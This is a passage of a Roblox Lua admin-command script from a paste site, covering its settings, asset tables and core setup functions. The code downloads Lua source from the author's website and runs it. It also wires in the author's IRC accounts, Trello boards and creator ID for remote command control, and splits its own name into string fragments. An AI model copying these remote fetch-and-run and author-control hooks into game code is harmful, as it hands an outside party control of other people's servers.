· 7 years ago · Oct 31, 2018, 09:58 PM
1
2
3
4-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
5
6
7local Settings = {
8 Ranks = {
9 ["Owner"] = {};
10 ["Admin"] = {};
11 ["Member"] = {};
12 ["Banned"] = {};
13 ["Crashed"] = {};
14 ["Muted"] = {};
15 };
16
17 Prefix = ";";
18 Bet = " ";
19 MinimumAge = 0;
20 ServerLocked = false;
21 ColorScheme = "White";
22 TransparencyScheme = 50;
23 Fun = true;
24 EnableAdminMenu = true;
25 EnableTaskBar = true;
26 FreeAdmin = false;
27 Font = "Arial";
28
29 DisableAbuse = false;
30 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
31 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
32
33 LinkedAccount = "";
34 DataKey = "";
35
36 ExecuteNotificationSound = 0; --177578949
37 EnableSounds = true;
38
39 VIPMemberID = 0;
40 VIPAdminID = 0;
41
42 GroupID = 0;
43 GroupBanRank = 0;
44 GroupMemberRank = 0;
45 GroupAdminRank = 0;
46 GroupOwnerRank = 0;
47 GroupRankBan = 0;
48 BannedGroupIDs = {};
49
50 IRCServer = "";
51 IRCChannel = "";
52 IRCCommandExecuters = {};
53
54 TrelloToken = ""
55}
56
57local Colors = {
58 ["WHITE"] = Color3.new(1,1,1);
59 ["BLACK"] = Color3.new(0,0,0);
60 ["GRAY"] = Color3.new(0.5,0.5,0.5);
61 ["RED"] = Color3.new(1,0,0);
62 ["GREEN"] = Color3.new(0,1,0);
63 ["BLUE"] = Color3.new(0,0,1);
64 ["YELLOW"] = Color3.new(1,1,0);
65 ["PINK"] = Color3.new(1,0,1);
66 ["MAGENTA"] = Color3.new(1,0,1);
67 ["CYAN"] = BrickColor.new("Cyan").Color;
68 ["TEAL"] = BrickColor.new("Teal").Color;
69 ["BROWN"] = Color3.new(0.55,0.25,0.075);
70 ["PURPLE"] = Color3.new(0.5,0,0.5);
71 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
72}
73
74local Server = {
75 Workspace = game:GetService("Workspace");
76 Players = game:GetService("Players");
77 Lighting = game:GetService("Lighting");
78 MPS = game:GetService("MarketplaceService");
79 TS = game:GetService("TeleportService");
80 HS = game:GetService("HttpService");
81 RS = game:GetService("RunService");
82 PS = game:GetService("PointsService");
83 TestS = game:GetService("TestService");
84 IS = game:GetService("InsertService");
85 Teams = game:GetService("Teams");
86 Data = game:GetService("DataStoreService");
87 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
88 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
89 Storage = game:GetService("ServerStorage");
90 RS = game:GetService("ReplicatedStorage");
91 AS = game:GetService("AssetService");
92}
93
94local Icons = {
95 ["Message"] = 7724351;
96 ["Error"] = 94011556;
97 ["Information"] = 144175130;
98 ["Check"] = 132769976;
99 ["Search"] = 61994930;
100 ["Time"] = 136391033;
101 ["Notice"] = 156507320;
102 ["Sound"] = 164682936;
103 ["Log"] = 70650545;
104 ["Question"] = 41363872;
105 ["Output"] = 11481605;
106 ["Admin"] = 302470270;
107 ["Lock"] = 11341626;
108 ["Settings"] = 131064748;
109 ["Map"] = 257119661;
110 ["Plugin"] = 257097414;
111}
112
113local IRC = {
114 Codes = {
115 ["001"] = "RPL_WELCOME",
116 ["002"] = "RPL_YOURHOST",
117 ["003"] = "RPL_CREATED",
118 ["004"] = "RPL_MYINFO",
119 ["005"] = "RPL_ISUPPORT",
120 ["250"] = "RPL_STATSCONN",
121 ["251"] = "RPL_LUSERCLIENT",
122 ["252"] = "RPL_LUSEROP",
123 ["254"] = "RPL_LUSERCHANNELS",
124 ["255"] = "RPL_LUSERME",
125 ["265"] = "RPL_LOCALUSERS",
126 ["266"] = "RPL_GLOBALUSERS",
127 ["352"] = "RPL_WHOREPLY",
128 ["371"] = "RPL_INFO",
129 ["372"] = "RPL_MOTD",
130 ["374"] = "RPL_ENDINFO",
131 ["375"] = "RPL_MOTDSTART",
132 ["376"] = "RPL_ENDOFMOTD",
133 ["422"] = "ERR_NOMOTD",
134 },
135 Ignore = {
136 ["004"] = true,
137 ["005"] = true,
138 };
139 Users = {};
140 Logs = {};
141 Chats = {};
142 Forms = {};
143 MessageAdded = Instance.new("BindableEvent");
144
145 Servers = {
146 ["esper.net"] = {
147 BaseUrl = "http://webchat.esper.net/";
148 DynamicUrl = "";
149 };
150 ["quakenet.org"] = {
151 BaseUrl = "http://webchat.quakenet.org/";
152 DynamicUrl = "dynamic/leibniz",
153 };
154 ["swiftirc.net"] = {
155 BaseUrl = "http://qwebirc.swiftirc.net/";
156 DynamicUrl = "",
157 };
158 };
159 NickName = "rbxMMLV3_"..math.random(1,100000);
160
161 SessionCounter = 0;
162 Connected = false;
163 Stop = false;
164 SessionID = "";
165}
166
167local RankHUD = {
168 ["Muted"] = 202180094;
169 ["Non-Admin"] = 202180121;
170 ["Member"] = 202180052;
171 ["Admin"] = 202180015;
172 ["Owner"] = 202179988;
173}
174
175local TextConverter = {
176 LetterSounds = {
177 ["a"] = {223757826, nil}; -- 203343899
178 ["b"] = {223533700, 0.2}; -- 203344029
179 ["c"] = {223533711, nil}; -- 203343994
180 ["d"] = {223757910, nil}; -- 203398237
181 ["e"] = {223758026, nil}; -- 203398295
182 ["f"] = {223777655, nil}; -- 203398347
183 ["g"] = {223777738, nil}; -- 203398372
184 ["h"] = {223777757, nil}; -- 203398397
185 ["i"] = {223777807, nil}; -- 203398422
186 ["j"] = {223782888, nil}; -- 203398450
187 ["k"] = {223533711, nil}; -- 203343994
188 ["l"] = {223782961, 0.4}; -- 203398541
189 ["m"] = {223782992, nil}; -- 203398578
190 ["n"] = {223783063, nil}; -- 203398599
191 ["o"] = {223783184, nil}; -- 203398611
192 ["p"] = {223783235, nil}; -- 203398727
193 ["q"] = {223783260, nil}; -- 203398755
194 ["r"] = {223783305, 0.2}; -- 203398792
195 ["s"] = {223783377, nil}; -- 203398806
196 ["t"] = {223783446, nil}; -- 203398850
197 ["u"] = {223783512, nil}; -- 203398872
198 ["v"] = {223783654, nil}; -- 203398965
199 ["w"] = {223783697, nil}; -- 203398984
200 ["x"] = {223783796, nil}; -- 203399008
201 ["y"] = {223783853, nil}; -- 203399043
202 ["z"] = {223783893, nil}; -- 203399096
203
204 ["ch"] = {223784367, 0.3}; -- 203592149
205 ["th"] = {223788235, 0.3}; -- 203399215
206 ["sh"] = {223784505, 0.2}; -- 203399566
207 ["wh"] = {223784555, 0.3}; -- 203622828
208 ["oo"] = {223784456, 0.3}; -- 203399743
209 ["ing"] = {223784393, 0.3}; -- 203402836
210 };
211
212 LongVowels = {
213 ["a"] = {223533687, nil}; -- 203343932
214 ["e"] = {223777620, nil}; -- 203398314
215 ["i"] = {223777855, nil}; -- 203398440
216 ["o"] = {223783212, nil}; -- 203398619
217 ["u"] = {223783572, nil}; -- 203398897
218 };
219
220 Pronounce = {
221 ["0"] = "zero";
222 ["1"] = "wun";
223 ["2"] = "too";
224 ["3"] = "three";
225 ["4"] = "four";
226 ["5"] = "five";
227 ["6"] = "six";
228 ["7"] = "seven";
229 ["8"] = "eyt";
230 ["9"] = "nine";
231 ["one"] = "wun";
232 ["two"] = "too";
233 ["eight"] = "eyt";
234 ["eigh"] = "ey";
235 ["gh"] = "h";
236 ["kn"] = "n";
237 ["come"] = "cu".."m";
238 ["bye"] = "bi";
239 ["#"] = "hashtag";
240 ["@"] = "at";
241 ["&"] = "and";
242 ["*"] = "astrict";
243 ["mn"] = "m";
244 ["kn"] = "n";
245 ["ies"] = "ees";
246 };
247
248 NonEnglishRules = {
249 ["to"] = "too";
250 ["you"] = "yoo";
251 ["we"] = "wee";
252 ["are"] = "erh";
253 ["your"] = "yoor";
254 ["you're"] = "yoor";
255 ["youre"] = "yoor";
256 ["pizza"] = "peetzoh";
257 ["ok"] = "okay";
258 ["have"] = "hav";
259 ["my"] = "mi";
260 ["me"] = "mee";
261 ["u"] = "yoo";
262 ["r"] = "erh";
263 ["move"] = "moov";
264 ["dove"] = "duv";
265 ["debris"] = "debree";
266 ["do"] = "doo";
267 }
268}
269
270local HTMLDecode = {
271 ["35"] = "#";
272 ["36"] = "$";
273 ["37"] = "%%";
274 ["38"] = "*";
275 ["39"] = "'";
276 ["58"] = ":";
277 ["59"] = ";";
278 ["60"] = "<";
279 ["62"] = ">";
280}
281
282
283local Assets = {
284 Packages = {
285 [27112438] = {27112025,27112039,27112052,27112056,27112068};
286 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
287 [77518833] = {77518564,77518616,77518654,77518696,77518737};
288 [32336368] = {32336059,32336117,32336182,32336243,32336306};
289 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
290 [54116460] = {54116290,54116338,54116373,54116394,54116432};
291 [39977366] = {39976703,39976829,39976927,39977192,39977295};
292 [32357766] = {32357663,32357631,32357619,32357584,32357558};
293 [27123973] = {27121265,27121306,27121353,27121393,27121432};
294 [55717536] = {55717271,55717330,55717388,55717434,55717491};
295 [28279963] = {28279160,28279217,28279859,28279894,28279938};
296 [27403592] = {27402580,27402546,27402641,27402714,27402742};
297 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
298 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
299 [48474394] = {48474356,48474294};
300 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
301 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
302 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
303 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
304 [33378577] = {33378366,33378438,33378484,33378522,33378540};
305 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
306 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
307 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
308 [41851073] = {41850825,41850868,41850915,41851009,41850959}
309 };
310 AssetTypes = {
311 [0] = "Product";
312 [1] = "Image";
313 [2] = "T-Shirt";
314 [3] = "Audio";
315 [4] = "Mesh";
316 [5] = "Lua";
317 [6] = "HTML";
318 [7] = "Text";
319 [8] = "Hat";
320 [9] = "Place";
321 [10] = "Model";
322 [11] = "Shirt";
323 [12] = "Pants";
324 [13] = "Decal";
325 [16] = "Avatar";
326 [17] = "Head";
327 [18] = "Face";
328 [19] = "Gear";
329 [21] = "Badge";
330 [22] = "Group Emblem";
331 [24] = "Animation";
332 [25] = "Arms";
333 [26] = "Legs";
334 [27] = "Torso";
335 [28] = "Right Arm";
336 [29] = "Left Arm";
337 [30] = "Left Leg";
338 [31] = "Right Leg";
339 [32] = "Package";
340 [33] = "YouTube Video";
341 [34] = "Game Pass";
342 [38] = "Plugin";
343 [39] = "SolidModel";
344 [40] = "MeshPart";
345 [41] = "Hair Accessory";
346 [42] = "Face Accessory";
347 [43] = "Neck Accessory";
348 [44] = "Shoulder Accessory";
349 [45] = "Front Accessory";
350 [46] = "Back Accessory";
351 };
352 AccessoryTypes = {
353 ["all"] = 19;
354 ["hats"] = 9;
355 ["hair"] = 20;
356 ["face"] = 21;
357 ["neck"] = 22;
358 ["shoulder"] = 23;
359 ["front"] = 24;
360 ["back"] = 25;
361 ["waist"] = 26;
362 };
363}
364
365local CharacterCache = {
366 {"MakerModelLua", 38837082};
367 {"LuaModelMaker", 20920633};
368 {"builderman", 156};
369 {"Shedletsky", 261};
370 {"Telamon", 13645};
371 {"ROBLOX", 1};
372}
373
374local FaceCovert = {
375 Left = "xpos";
376 Right = "xneg";
377 Front = "zpos";
378 Back = "zneg";
379 Top = "ypos";
380 Bottom = "yneg";
381}
382
383local Meshes = {
384 ["crown"] = {1, 1078075};
385 ["king"] = {1, 11419761};
386 ["teapot"] = {0.03, 1029523};
387 ["apple"] = {2.5, 16190555};
388 ["potato"] = {1, 25268275};
389 ["panda"] = {0.5, 20709221};
390 ["dominus"] = {0.5, 21057410};
391 ["fedora"] = {0.75, 13640868};
392 ["noob"] = {1, 20929341};
393 ["knife"] = {0.3, 121944778};
394 ["book"] = {0.3, 1136139};
395}
396
397local NotifySounds = {
398 ["Hover"] = 223134269;
399 ["Select"] = 292141227;
400}
401
402local Trello = {
403 TrelloInfoCard = "x1rUtwEj";
404 MainBoard = {};
405 RequiredLists = {};
406 RankChecklistCache = {};
407 ToggleChecklist = nil;
408 CommandID = nil;
409 LastCommandDT = 0;
410 AdminBoardID = "577ea1b21cb7975666524f26";
411 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
412 RemoteDataCard = "dLtMo1en"
413}
414
415local ScriptBuilders = {
416 [260897989] = "MML's";
417 [21053279] = "Anti's pub";
418 [21053219] = "Anti's pri";
419 [20279777] = "Void's 1";
420 [437965235] = "Void's 2";
421 [227015991] = "Vox's";
422 [210101277] = "Master's";
423 [531937877] = "Bleu pigs";
424 [519251450] = "Game's";
425}
426
427-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
428-- Why else would I NOT have put it in a module?!?!?
429
430local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
431
432local SoundList,GlobalSoundList = {},{}
433local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
434local TempChatLogs = {}
435local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
436local NoSpeak = false
437
438local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
439local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
440
441local ChatLogs,CommandLogs = {},{}
442local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
443local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
444local Dispose,Jails,PermCommandBars = {},{},{}
445local Waypoints = {["Center"] = Vector3.new(0,0,0)}
446local Objects = {}
447local Sound = nil
448local ModLighting = false
449local DataReady = true
450local RemoteAbuseGear = {}
451
452local GameOwner = "[ Client ]"
453local PlaceName = "Unknown"
454local PlaceInfo = {}
455local IsStudio = false
456local IsSB = false
457local Date = nil
458local Fonts = {}
459local PendingRequests = {}
460local F3X = script:FindFirstChild("F3X Tools")
461local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
462local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
463local KeyBinds = {}
464local Crowns = {}
465local LastKeys = {}
466local Cars = {}
467local StringReplacements = {}
468local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
469local NoBet = {"/", "-", "(", ")", ""}
470local ShouldFilter = true
471
472local CrownStorage = script:FindFirstChild("CrownStorage")
473if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
474
475-- import old settings just in case --
476local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
477if OldSettings then
478 OldSettings = require(OldSettings)
479
480 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
481 Settings[ValName] = OldSettings[ValName]
482 end
483 Settings.GroupBanRank = OldSettings.RankBan
484 Settings.Fun = OldSettings.FUN
485end
486
487if F3X then
488 F3X = F3X:Clone()
489 F3X.Handle.Anchored = false
490 script:FindFirstChild("F3X Tools"):Destroy()
491end
492
493wait(0.1)
494
495local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
496-- tries to defualt to server storage, just in case an exploiter makes their own settings.
497
498if SettingsValues then
499 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
500 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
501 for _,Value in pairs(SettingsValues:GetChildren()) do
502 if Settings[Value.Name] ~= nil then
503 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
504 for _,NewValue in pairs(Value:GetChildren()) do
505 if ypcall(function() return NewValue.Value end) then
506 if Settings[Value.Name][NewValue.Name] then
507 local Val = NewValue.Value
508 if type(Settings[Value.Name][NewValue.Name]) == "table" then
509 Val = {}
510 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
511 table.insert(Val, Word)
512 end
513 end
514 Settings[Value.Name][NewValue.Name] = Val
515 end
516 end
517 end
518 else
519 if Settings[Value.Name] ~= nil then
520 local Val = Value.Value
521 if type(Settings[Value.Name]) == "table" then
522 Val = {}
523 for Word in string.gmatch(Value.Value, "%w+") do
524 table.insert(Val, Word)
525 end
526 end
527 Settings[Value.Name] = Val
528 end
529 end
530 end
531 end
532 end
533end
534
535if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
536 Settings.LinkedAccount = ""
537elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
538 Settings.LinkedAccount = "Admin"
539end
540
541local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
542local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
543
544wait(1)
545
546local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
547
548if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
549
550if not IsStudio then
551 Server.NS = game:GetService("NetworkServer")
552 script.Name = "Maker".."Mo".."delLua's Admin"
553end
554
555if game.PlaceId > 0 then
556 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
557 PlaceName = PlaceInfo.Name
558end
559
560local function GetGameOwner()
561 if PlaceInfo.Creator.CreatorType == "Group" then
562 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
563 print("MML's Admin: Found group owner for game: "..GameOwner)
564 elseif PlaceInfo.Creator.CreatorType == "User" then
565 GameOwner = PlaceInfo.Creator.Name
566 print("MML's Admin: Found game owner: "..GameOwner)
567 else
568 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
569 end
570end
571
572if string.byte(string.sub(PlaceName,1,1)) == 226 then
573 PlaceName = string.sub(PlaceName,4,#PlaceName)
574end
575for i = 1,5 do
576 if GameOwner == "[ Client ]" then
577 print("MML's Admin: Attempting to establish owner's name #"..i)
578 GetGameOwner()
579 wait(1)
580 end
581end
582
583if ScriptBuilders[PlaceID] or NLS then
584 IsSB = true
585end
586
587if IsSB then
588 ShouldFilter = false
589 Settings.IRCServer = "swiftirc.net";
590 Settings.IRCChannel = "#PkamaraSB";
591 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
592 if Settings.TrelloToken == "" then
593 Settings.LinkedAccount = "ScriptBuilder"
594 end
595 if Settings.DataKey == "" then coroutine.wrap(function()
596 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
597 local Key = Server.Storage:FindFirstChild("MML DataKey")
598 print("Found key: "..Key.Value)
599 Settings.DataKey = Key.Value
600 Key:Destroy()
601 end)() end
602end
603local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
604table.insert(Settings.Ranks["Owner"], GameOwner)
605
606for _,Font in pairs(Enum.Font:GetEnumItems()) do
607 Fonts[Font.Name] = Font
608end
609
610local LogClient = script:FindFirstChild("AddClientInfo")
611if LogClient then LogClient:Destroy() end
612LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
613LogClient.OnServerInvoke = function(Player, Info)
614 if Info then
615 for Key,Data in pairs(Info) do
616 ClientInfo[Player.Name][Key] = Data
617 end
618 end
619end
620
621local function MakeFunction(Type, Name)
622 local Func = script:FindFirstChild(Name)
623 if Func then Func:Destroy() end
624 Func = Instance.new(Type, script) Func.Name = Name
625
626 getfenv()[Name] = Func
627 return Func
628end
629
630MakeFunction("BindableFunction", "ExecuteCommand")
631MakeFunction("RemoteFunction", "ExecuteCommandClient")
632MakeFunction("BindableFunction", "ExecuteCode")
633
634MakeFunction("RemoteFunction", "IsAdmin")
635MakeFunction("RemoteFunction", "AddExploit")
636MakeFunction("BindableFunction", "AddExploitServer")
637MakeFunction("RemoteFunction", "KickClient")
638MakeFunction("RemoteFunction", "ConvertTextToSound")
639
640MakeFunction("RemoteFunction", "KeyPressed")
641MakeFunction("RemoteFunction", "InputKey")
642
643MakeFunction("RemoteFunction", "RankPlayerLocal")
644MakeFunction("BindableFunction", "RankPlayerServer")
645
646--[[
647if NLS then
648 local Value = script:FindFirstChild("Override")
649 LogClient.Parent = game
650 if not Value then
651 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
652 local CloneScript = script:Clone()
653 CloneScript.Disabled = true
654 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
655 CloneScript.Disabled = false
656 CloneScript.Parent = nil
657
658 script:Destroy() script.Disabled = true
659 end
660end
661]]
662
663if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
664
665IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
666
667-- Core functions --
668
669function CORE:FixSettings()
670 for _,Bet in pairs(NoBet) do
671 if Settings.Bet == Bet then
672 Settings.Bet = " "
673 break
674 end
675 end
676 CORE:ChangeBet(Settings.Bet)
677
678 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
679 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
680
681 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
682 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
683 Settings.TransparencyScheme = Settings.TransparencyScheme/100
684
685 if not Fonts[Settings.Font] then
686 Settings.Font = "Arial"
687 end
688end
689
690function CORE:NilPlayer(Player)
691 if Player == nil or type(Player) == "table" then return true else return false end
692end
693
694function CORE:ExecuteResource(ResourceName, Parent, Data)
695 local ReturnScript = nil
696 local Executed = true
697 if script:FindFirstChild("Resources") then
698 local RawResource = script.Resources:FindFirstChild(ResourceName)
699 if RawResource then
700 local Resource = RawResource:Clone()
701 Resource.Disabled = true
702 Resource.Parent = Parent
703 if Data then
704 for Key,Value in pairs(Data) do
705 if Resource[Key] then
706 Resource[Key].Value = Value
707 end
708 end
709 end
710 wait()
711 Resource.Disabled = false
712 ReturnScript = Resource
713 else
714 Executed = false
715 end
716 else
717 Executed = false
718 end
719 if Executed == false then
720 if not Data then Data = {} end
721 local Source = ScriptCache[ResourceName]
722
723 if not Source then
724 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
725 if Source then
726 ScriptCache[ResourceName] = Source
727 end
728 end
729
730 if Data and Source then
731 for Key,Value in pairs(Data) do
732 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
733 end
734 end
735
736 if Source then
737 if NLS then
738 ReturnScript = NLS(Source, Parent)
739 elseif createLocalScriptWithSource then
740 ReturnScript = createLocalScriptWithSource(Source)
741 ReturnScript.Parent = Parent
742 end
743 end
744 end
745 return ReturnScript
746end
747
748function CORE:CreateRemotePropertyReader(Obj, Override)
749 if Server.Workspace.FilteringEnabled == true or Override then
750 local Reader = Instance.new("RemoteFunction", Obj)
751 Reader.Name = "RemotePropertyReader"
752 CORE:ExecuteResource("RemotePropertyReader", Reader)
753 return Reader
754 else
755 return Obj
756 end
757end
758
759function CORE:ReadProperty(Reader, Player, Property)
760 if Reader:IsA("RemoteFunction") then
761 return Reader:InvokeClient(Player, Property)
762 else
763 return Reader[Property]
764 end
765end
766
767function CORE:WriteProperty(Reader, Player, Property, Value)
768 if Reader:IsA("RemoteFunction") then
769 return Reader:InvokeClient(Player, Property, Value)
770 else
771 return Reader[Property]
772 end
773end
774
775
776function CORE:CreateRemoteEvent(Obj, EventName)
777 local Event = Instance.new("RemoteEvent", Obj)
778 Event.Name = "RemoteEvent_"..EventName
779 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
780 return Event
781end
782
783function CORE:HandleEvent(Obj, EventName, Func, NewThread)
784 local function Handle()
785 if Server.Workspace.FilteringEnabled == true then
786 local Event = CORE:CreateRemoteEvent(Obj, EventName)
787 return Event.OnServerEvent:connect(function(Player, ...)
788 Func(...)
789 end)
790 else
791 return Obj[EventName]:connect(Func)
792 end
793 end
794 if NewThread then
795 Spawn(Handle)
796 else
797 Handle()
798 end
799end
800
801function CORE:HandleError(Error, Speaker)
802 local Return = ""
803 if not Error or Error == "" then
804 Return = "Unknown Error"
805 else
806 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
807 end
808 if Speaker then
809 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
810 end
811 return Return
812end
813
814local function ExecuteSafe(Source, Speaker) -- no CORE
815 local Script, Error = loadstring(Source)
816 if Error then
817 return false, CORE:HandleError(Error, Speaker)
818 else
819 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
820 getfenv(Script).Server, getfenv(Script).script = Server,script
821 if Speaker then
822 getfenv(Script).print = function(...)
823 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
824 end
825 getfenv(Script).print_array = function(List)
826 if type(List) == "table" then
827 GUI:ListGui(Speaker, "Listed Table", List, "Output")
828 end
829 end
830 end
831
832 local Suc, Error = ypcall(coroutine.wrap(Script))
833
834 if not Suc then
835 Error = CORE:HandleError(Error, Speaker)
836 end
837
838 return Suc,Error
839 end
840end
841
842function CORE:GetTime(Regular, FullDate)
843 if Regular == nil then Regular = true end
844 local Meridiem = ""
845 if Regular == true then Meridiem = " AM" end
846 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
847 local Hour = math.floor(SecondsOfToday / (60*60))
848 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
849 local Second = math.floor(math.fmod(SecondsOfToday, 60))
850 if Hour > 12 and Regular == true then
851 Hour = Hour - 12
852 Meridiem = " PM"
853 end
854 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
855 if #Hour <= 1 then Hour = "0"..Hour end
856 if #Minute <= 1 then Minute = "0"..Minute end
857 if #Second <= 1 then Second = "0"..Second end
858 local Return = Hour..":"..Minute..":"..Second..Meridiem
859 if FullDate == true and Date then Return = Date.." "..Return end
860 return Return
861end
862
863function CORE:RemoveAdmin(Speaker)
864 local Answer = true -- false
865 if not CORE:NilPlayer(Speaker) then
866 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
867 end
868 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
869 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
870 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
871 for _,Item in pairs(Player:GetChildren()) do
872 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
873 Item:Destroy()
874 end
875 end
876 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
877 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
878 GUI:Destroy()
879 end
880 end
881 end end
882 for _,Car in pairs(Cars) do
883 Car:Destroy()
884 end
885 CORE:FixLighting()
886 while wait() do
887 if script:FindFirstChild("Override") then script.Override.Value = true end
888 Settings,CORE,IRC = nil,{},{}
889 if Sound then Sound:Stop() end
890 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
891 script:ClearAllChildren() script:Destroy() script.Disabled = true
892 end
893 end
894end
895
896function CORE:MakeBase()
897 for _,Get in pairs(Workspace:GetChildren()) do
898 if Get.Name == "Base" or Get.Name == "BasePlate" then
899 Get:Destroy()
900 end
901 end
902 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
903end
904
